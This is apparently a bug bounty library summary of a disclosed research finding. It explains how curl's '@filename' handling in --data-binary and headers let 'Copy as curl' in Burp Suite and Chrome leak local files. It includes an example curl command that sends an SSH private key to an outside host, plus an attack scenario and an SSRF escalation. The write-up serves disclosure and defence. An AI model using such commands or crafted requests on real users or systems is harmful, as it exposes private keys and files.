# The curl quirk that exposed Burp Suite & Google Chrome

curl's --data-binary treats a leading @ as a filename, so 'Copy as curl' in Burp and Chrome could leak local files when pasted and run.

- Payout: Research
- Severity: medium
- Program: Google VRP
- Credited: Paul Mutton
- Disclosed: 2023-03-28
- Write-up quality: 7/10
- Original: https://portswigger.net/research/the-curl-quirk-that-exposed-burp-suite-amp-google-chrome
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-the-curl-quirk-that-exposed-burp-suite-amp-google-chrome
- Tags: domain:web impact:data-leak kind:research platform:research sev:medium tech:curl technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** Copy-as-curl feature generating shell commands
**Root cause:** curl's --data-binary (and header options) interpret a leading @ as a filename and read that file, so a request body starting with @ causes local file disclosure when the generated curl command is executed.
**Steps:**
1. Craft an HTTP request whose body begins with `@/path/to/secret` (e.g. `@/home/user/.ssh/id_rsa`)
2. Use Burp's 'Copy as curl command' to generate the equivalent curl invocation
3. Paste and run the command in a terminal
4. Observe curl sends the file contents instead of the literal body: `curl --data-binary '@/home/albinowax/.ssh/id_rsa' --trace-ascii - https://02.rs/`
**How found:** Reading the curl manual for --data-binary revealed the documented '@filename' behavior; noticed Burp's escaping prevented shell injection but not curl's own @ file-read semantics.
**Exploitation:** Attacker induces a victim to visit a malicious site, copy a crafted request as a curl command, and execute it; the generated command reads and exfiltrates a local file to the attacker's server. Same @ behavior applies to headers.
**Escalation:** Higher impact if a server-side app invokes curl with an attacker-controlled body or custom header (e.g. during SSRF testing), enabling server-side file read.
**Insight:** When a tool generates commands for another tool, audit that target tool's own argument semantics (like curl's @file for --data-binary and -H), not just shell escaping; test SSRF endpoints that pass user bodies/headers to curl.